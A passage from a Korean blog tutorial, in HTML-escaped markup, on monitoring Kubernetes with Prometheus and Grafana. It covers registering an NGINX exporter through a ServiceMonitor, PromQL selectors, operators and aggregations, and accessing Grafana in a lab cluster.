kube_deployment_status_replicas_available{deployment=&quot;coredns&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;kube-proxy&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;node-exporter와 kube-state-metrics 모두 프로메테우스에 대상 타겟으로 지정되어 있어 메트릭 조회가 가능한 것입니다. 따라서 kube-proxy나 대상 타켓으로 등록되어 있는 모든 모듈들은 프로메테우스에서 메트릭을 조회할 수 있습니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;kubeproxy_sync_proxy_rules_iptables_total
kubeproxy_sync_proxy_rules_iptables_total{table=&quot;filter&quot;}
kubeproxy_sync_proxy_rules_iptables_total{table=&quot;nat&quot;}
kubeproxy_sync_proxy_rules_iptables_total{table=&quot;nat&quot;, instance=&quot;192.168.1.188:10249&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;application&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;애플리케이션의 메트릭들을 수집하고 싶을 때 파드 모니터보다는 서비스 모니터를 주로 사용하게 됩니다. 파드 모니터는 개별 파드를 바라보지만 파드가 동적으로 늘어나거나 줄어들어도 서비스 모니터는 서비스의 엔드포인트를 바라보기 때문에&amp;nbsp; 파드 모니터보다 조금 더 상위의 개념으로 보다 편리하게 사용됩니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBwQYW/btsF3WKCjRa/HAiNspURa3eoHNu1rQAzU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBwQYW/btsF3WKCjRa/HAiNspURa3eoHNu1rQAzU1/img.png&quot; data-alt=&quot;출처 :https://containerjournal.com/topics/container-management/cluster-monitoring-with-prometheus-operator/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBwQYW/btsF3WKCjRa/HAiNspURa3eoHNu1rQAzU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBwQYW%2FbtsF3WKCjRa%2FHAiNspURa3eoHNu1rQAzU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;860&quot; height=&quot;470&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://containerjournal.com/topics/container-management/cluster-monitoring-with-prometheus-operator/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;애플리케이션 로깅을 확인하기 위해 NGINX 웹서버를 배포해서 확인해 봅니다.  NGINX를 helm으로 설치 시 Prometheus Exporter 옵션을 설정하면 자동으로 프로메테우스 모니터링에 등록합니다. 또는 프로메테우스 설정에서 NGINX 모니터링 관련 내용을 서비스 모니터 CRD로 추가하는 것도 가능합니다. 기존 애플리케이션 파드에 프로메테우스 모니터링을 추가하려면 사이드카 방식을 사용하여 기존 파드에 Exporter 컨테이너가 추가되게 됩니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 모니터링
watch -d &quot;kubectl get pod; echo; kubectl get servicemonitors -n monitoring&quot;

# 파라미터 파일 생성 : 서비스 모니터 방식으로 nginx 모니터링 대상을 등록하고, export 는 9113 포트 사용
cat &amp;lt;&amp;lt;EOT &amp;gt; ~/nginx_metric-values.yaml
metrics:
&amp;nbsp;&amp;nbsp;enabled: true

&amp;nbsp;&amp;nbsp;service:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;port: 9113

&amp;nbsp;&amp;nbsp;serviceMonitor:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;enabled: true
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;namespace: monitoring
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;interval: 10s
EOT

# 배포
helm upgrade nginx bitnami/nginx --reuse-values -f nginx_metric-values.yaml

# 확인
kubectl get pod,svc,ep
kubectl get servicemonitor -n monitoring nginx
kubectl get servicemonitor -n monitoring nginx -o json | jq

# 메트릭 확인 &amp;gt;&amp;gt; 프로메테우스에서 Target 확인
NGINXIP=$(kubectl get pod -l app.kubernetes.io/instance=nginx -o jsonpath={.items[0].status.podIP})
curl -s http://$NGINXIP:9113/metrics # nginx_connections_active Y 값 확인해보기
curl -s http://$NGINXIP:9113/metrics | grep ^nginx_connections_active

# nginx 파드내에 컨테이너 갯수 확인
kubectl get pod -l app.kubernetes.io/instance=nginx
kubectl describe pod -l app.kubernetes.io/instance=nginx

# 접속 주소 확인 및 접속
echo -e &quot;Nginx WebServer URL = https://nginx.$MyDomain&quot;
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brf2ga/btsF8oL3SCQ/KiwDWyFxfSAqA6IahtOLM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brf2ga/btsF8oL3SCQ/KiwDWyFxfSAqA6IahtOLM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brf2ga/btsF8oL3SCQ/KiwDWyFxfSAqA6IahtOLM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbrf2ga%2FbtsF8oL3SCQ%2FKiwDWyFxfSAqA6IahtOLM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;306&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;828&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgj4e5/btsF63aQN7c/68oKISz4CbtoqwcQkGMwrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgj4e5/btsF63aQN7c/68oKISz4CbtoqwcQkGMwrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgj4e5/btsF63aQN7c/68oKISz4CbtoqwcQkGMwrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbgj4e5%2FbtsF63aQN7c%2F68oKISz4CbtoqwcQkGMwrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;828&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;828&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;서비스 모니터 생성 후 &lt;span style=&quot;color: #d44c47;&quot;&gt;3분&lt;/span&gt; 정도 후에 프로메테우스 타겟에 nginx 서비스 모니터가 추가된 것을 확인할 수 있습니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rCoPb/btsF7xJH4Ga/yFFKOsrdesI1V8NhyNx4P0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rCoPb/btsF7xJH4Ga/yFFKOsrdesI1V8NhyNx4P0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rCoPb/btsF7xJH4Ga/yFFKOsrdesI1V8NhyNx4P0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrCoPb%2FbtsF7xJH4Ga%2FyFFKOsrdesI1V8NhyNx4P0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1642&quot; height=&quot;199&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;프로메테우스 Configuration에도 동적으로 nginx를 위한 job이 생성된 것을 확인할 수 있습니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;782&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pgKf8/btsF6F2iE0s/8C37rJnYJHYfwLASrKuU91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pgKf8/btsF6F2iE0s/8C37rJnYJHYfwLASrKuU91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pgKf8/btsF6F2iE0s/8C37rJnYJHYfwLASrKuU91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpgKf8%2FbtsF6F2iE0s%2F8C37rJnYJHYfwLASrKuU91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1156&quot; height=&quot;782&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;782&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;이처럼 설정이 자동으로 반영되는 원리는 Prometheus-Stack 설치 시 config-reloader라는 컨테이너가 함께 설치되어 바뀐 설정이 프로메테우스 서버 &lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Configuration&lt;/span&gt;에 적용되도록 해줍니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;521&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/20sA3/btsF7RVrnkB/RySWc7t5hxSd5qqWB5rks0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/20sA3/btsF7RVrnkB/RySWc7t5hxSd5qqWB5rks0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/20sA3/btsF7RVrnkB/RySWc7t5hxSd5qqWB5rks0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F20sA3%2FbtsF7RVrnkB%2FRySWc7t5hxSd5qqWB5rks0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1217&quot; height=&quot;521&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;521&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;프로메테우스에서 nginx와 관련된 메트릭을 수집하는 것을 확인할 수 있으며 nginx를 스케일아웃하면 파드의 개수가 늘어남에 따라 늘어난 메트릭들도 함께 조회할 수 있습니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# nginx scale out : Targets 확인
kubectl scale deployment nginx --replicas 2

# 쿼리 Table -&amp;gt; Graph
nginx_up
nginx_http_requests_total
nginx_connections_active&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2210&quot; data-origin-height=&quot;666&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YCNHc/btsF5BsPjtE/GSbZ7K0XksQTvgtMrIgU8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YCNHc/btsF5BsPjtE/GSbZ7K0XksQTvgtMrIgU8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YCNHc/btsF5BsPjtE/GSbZ7K0XksQTvgtMrIgU8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYCNHc%2FbtsF5BsPjtE%2FGSbZ7K0XksQTvgtMrIgU8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2210&quot; height=&quot;666&quot; data-origin-width=&quot;2210&quot; data-origin-height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2346&quot; data-origin-height=&quot;666&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/be1qL5/btsF6fpdmVo/oF9RYRM9RS39jNFgsrlL40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/be1qL5/btsF6fpdmVo/oF9RYRM9RS39jNFgsrlL40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/be1qL5/btsF6fpdmVo/oF9RYRM9RS39jNFgsrlL40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbe1qL5%2FbtsF6fpdmVo%2FoF9RYRM9RS39jNFgsrlL40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2346&quot; height=&quot;666&quot; data-origin-width=&quot;2346&quot; data-origin-height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;PromQL&lt;/h4&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;프로메테우스 메트릭 종류 (4종) : Counter, Gauge, Histogram, Summary - &lt;a href=&quot;https://prometheus.io/docs/concepts/metric_types/&quot;&gt;Link&lt;/a&gt; &lt;a href=&quot;https://gurumee92.tistory.com/241&quot;&gt;Blog&lt;/a&gt; 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;&lt;b&gt;게이지&lt;/b&gt; Gauge : 특정 시점의 값을 표현하기 위해서 사용하는 메트릭 타입, CPU 온도나 메모리 사용량에 대한 현재 시점 값&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;카운터&lt;/b&gt; Counter : 누적된 값을 표현하기 위해 사용하는 메트릭 타입, 증가 시 구간 별로 변화(추세) 확인, 계속 증가 → 함수 등으로 활용&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;서머리&lt;/b&gt; Summary : 구간 내에 있는 메트릭 값의 빈도, 중앙값 등 통계적 메트릭&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;히스토그램&lt;/b&gt; Histogram : 사전에 미리 정의한 구간 내에 있는 메트릭 값의 빈도를 측정 → 함수로 측정 포맷을 변경&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
 &lt;li&gt;PromQL Query - &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/basics/&quot;&gt;Docs&lt;/a&gt; &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/operators/&quot;&gt;Operator&lt;/a&gt; &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/examples/&quot;&gt;Example&lt;/a&gt; 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;Label Matchers : = , ! = , =~ 정규표현식&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 예시
node_memory_Active_bytes
node_memory_Active_bytes{instance=&quot;192.168.1.188:9100&quot;}
node_memory_Active_bytes{instance!=&quot;192.168.1.188:9100&quot;}

# 정규표현식
node_memory_Active_bytes{instance=~&quot;192.168.+&quot;}
node_memory_Active_bytes{instance=~&quot;192.168.1.+&quot;}

# 다수 대상
node_memory_Active_bytes{instance=~&quot;192.168.1.188:9100|192.168.2.170:9100&quot;}
node_memory_Active_bytes{instance!~&quot;192.168.1.188:9100|192.168.2.170:9100&quot;}

# 여러 조건 AND
kube_deployment_status_replicas_available{namespace=&quot;kube-system&quot;}
kube_deployment_status_replicas_available{namespace=&quot;kube-system&quot;, deployment=&quot;coredns&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;Binary Operators 이진 연산자 - &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/operators/#binary-operators&quot;&gt;Link&lt;/a&gt; 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;산술 이진 연산자 : + - * / * ^&lt;/li&gt; 
   &lt;li&gt;비교 이진 연산자 : = = ! = &amp;gt; &amp;lt; &amp;gt; = &amp;lt; =&lt;/li&gt; 
   &lt;li&gt;논리/집합 이진 연산자 : and 교집합 , or 합집합 , unless 차집합&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 산술 이진 연산자 : + - * / * ^
node_memory_Active_bytes
node_memory_Active_bytes/1024
node_memory_Active_bytes/1024/1024

# 비교 이진 연산자 : = =&amp;nbsp;&amp;nbsp;! = &amp;gt; &amp;lt; &amp;gt; = &amp;lt; =
nginx_http_requests_total
nginx_http_requests_total &amp;gt; 100
nginx_http_requests_total &amp;gt; 10000

# 논리/집합 이진 연산자 : and 교집합 , or 합집합 , unless 차집합
kube_pod_status_ready
kube_pod_container_resource_requests

kube_pod_status_ready == 1
kube_pod_container_resource_requests &amp;gt; 1

kube_pod_status_ready == 1 or kube_pod_container_resource_requests &amp;gt; 1
kube_pod_status_ready == 1 and kube_pod_container_resource_requests &amp;gt; 1&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;&lt;b&gt;Aggregation Operators&lt;/b&gt; 집계 연산자 - &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/operators/#aggregation-operators&quot;&gt;Link&lt;/a&gt; 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;sum&amp;nbsp;(calculate sum over dimensions) : 조회된 값들을 모두 더함&lt;/li&gt; 
   &lt;li&gt;min&amp;nbsp;(select minimum over dimensions) : 조회된 값에서 가장 작은 값을 선택&lt;/li&gt; 
   &lt;li&gt;max&amp;nbsp;(select maximum over dimensions) : 조회된 값에서 가장 큰 값을 선택&lt;/li&gt; 
   &lt;li&gt;avg&amp;nbsp;(calculate the average over dimensions) : 조회된 값들의 평균 값을 계산&lt;/li&gt; 
   &lt;li&gt;group&amp;nbsp;(all values in the resulting vector are 1) : 조회된 값을 모두 ‘1’로 바꿔서 출력&lt;/li&gt; 
   &lt;li&gt;stddev&amp;nbsp;(calculate population standard deviation over dimensions) : 조회된 값들의 모 표준 편차를 계산&lt;/li&gt; 
   &lt;li&gt;stdvar&amp;nbsp;(calculate population standard variance over dimensions) : 조회된 값들의 모 표준 분산을 계산&lt;/li&gt; 
   &lt;li&gt;count&amp;nbsp;(count number of elements in the vector) : 조회된 값들의 갯수를 출력 / 인스턴스 벡터에서만 사용 가능&lt;/li&gt; 
   &lt;li&gt;count_values&amp;nbsp;(count number of elements with the same value) : 같은 값을 가지는 요소의 갯수를 출력&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;bottomk&lt;/b&gt;&amp;nbsp;(smallest k elements by sample value) : 조회된 값들 중에 가장 작은 값들 k 개 출력&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;topk&amp;nbsp;&lt;/b&gt;(largest k elements by sample value) : 조회된 값들 중에 가장 큰 값들 k 개 출력&lt;/li&gt; 
   &lt;li&gt;quantile&amp;nbsp;(calculate φ-quantile (0 ≤ φ ≤ 1) over dimensions) : 조회된 값들을 사분위로 나눠서 (0 &amp;lt; $ &amp;lt; 1)로 구성하고, $에 해당 하는 요소들을 출력&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;#
node_memory_Active_bytes

# 출력 값 중 Top 3
topk(3, node_memory_Active_bytes)

# 출력 값 중 하위 3
bottomk(3, node_memory_Active_bytes)
bottomk(3, node_memory_Active_bytes&amp;gt;0)

# node 그룹별: by
node_cpu_seconds_total
node_cpu_seconds_total{mode=&quot;user&quot;}
node_cpu_seconds_total{mode=&quot;system&quot;}

avg(node_cpu_seconds_total)
avg(node_cpu_seconds_total) by (instance)
avg(node_cpu_seconds_total{mode=&quot;user&quot;}) by (instance)
avg(node_cpu_seconds_total{mode=&quot;system&quot;}) by (instance)

#
nginx_http_requests_total
sum(nginx_http_requests_total)
sum(nginx_http_requests_total) by (instance)

# 특정 내용 제외하고 출력 : without
nginx_http_requests_total
sum(nginx_http_requests_total) without (instance)
sum(nginx_http_requests_total) without (instance,container,endpoint,job,namespace)&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;Time series selectors : Instant/Range vector selectors, Time Durations, Offset modifier, @ modifier - &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/basics/#time-series-selectors&quot;&gt;Link&lt;/a&gt; 
  &lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
   &lt;li&gt;&lt;b&gt;인스턴스 벡터&lt;/b&gt; Instant Vector : &lt;b&gt;시점&lt;/b&gt;에 대한 메트릭 값만을 가지는 데이터 타입&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;레인지 벡터&lt;/b&gt; Range Vector : &lt;b&gt;시간의 구간&lt;/b&gt;을 가지는 데이터 타입&lt;/li&gt; 
   &lt;li&gt;시간 단위 : ms, s, &lt;b&gt;m(주로 분 사용)&lt;/b&gt;, h, d, w, y&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 시점 데이터
node_cpu_seconds_total

# 15초 마다 수집하니 아래는 지난 4회차/8회차의 값 출력
node_cpu_seconds_total[1m]
node_cpu_seconds_total[2m]&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;활용&lt;/li&gt;&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 서비스 정보 &amp;gt;&amp;gt; 네임스페이스별 &amp;gt;&amp;gt; cluster_ip 별
kube_service_info
count(kube_service_info)
count(kube_service_info) by (namespace)
count(kube_service_info) by (cluster_ip)

# 컨테이너가 사용 메모리 -&amp;gt; 파드별
container_memory_working_set_bytes
sum(container_memory_working_set_bytes)
sum(container_memory_working_set_bytes) by (pod)
topk(5,sum(container_memory_working_set_bytes) by (pod))
topk(5,sum(container_memory_working_set_bytes) by (pod))/1024/1024&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://grafana.com/docs/grafana/latest/introduction/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Grafana&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Grafana는 오픈 소스 데이터 시각화 및 모니터링 도구입니다. 이 도구를 사용하면 여러 다양한 데이터 소스에서 데이터를 가져와 그래픽으로 표시하고 모니터링할 수 있습니다. Grafana는 사용자가 대시보드를 만들고 원하는 방식으로 데이터를 시각화할 수 있도록 다양한 그래프 및 차트를 제공합니다. 주요 기능으로는 다양한 데이터베이스 및 시스템과의 통합, 다양한 플러그인 및 확장 기능, 그래프 및 패널 커스터마이징, 경고 및 알림 설정 등이 있습니다. Grafana는 서버의 상태, 애플리케이션 지표, 센서 데이터 등 다양한 종류의 데이터를 시각적으로 모니터링하는 데 널리 사용됩니다.&lt;br&gt;&lt;i&gt;[출처 :&amp;nbsp; ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;그라파나는 시각화 솔루션으로 데이터 자체를 저장하지는 않습니다. 현재 실습 환경에서는 데이터 소스를 프로메테우스로 사용합니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 그라파나 버전 확인
kubectl exec -it -n monitoring pod/kube-prometheus-stack-grafana-0 -- grafana cli --version
grafana cli version 10.4.0

# ingress 확인
kubectl get ingress -n monitoring kube-prometheus-stack-grafana
kubectl describe ingress -n monitoring kube-prometheus-stack-grafana

# ingress 도메인으로 웹 접속 : 기본 계정 - admin / prom-operator
echo -e &quot;Grafana Web URL = https://grafana.$MyDomain&quot;&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1175&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLbmeE/btsF8wxn0HR/09DU4tTKAQkCGscJWoL5T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLbmeE/btsF8wxn0HR/09DU4tTKAQkCGscJWoL5T1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLbmeE/btsF8wxn0HR/09DU4tTKAQkCGscJWoL5T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLbmeE%2FbtsF8wxn0HR%2F09DU4tTKAQkCGscJWoL5T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1175&quot; height=&quot;768&quot; data-origin-width=&quot;1175&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
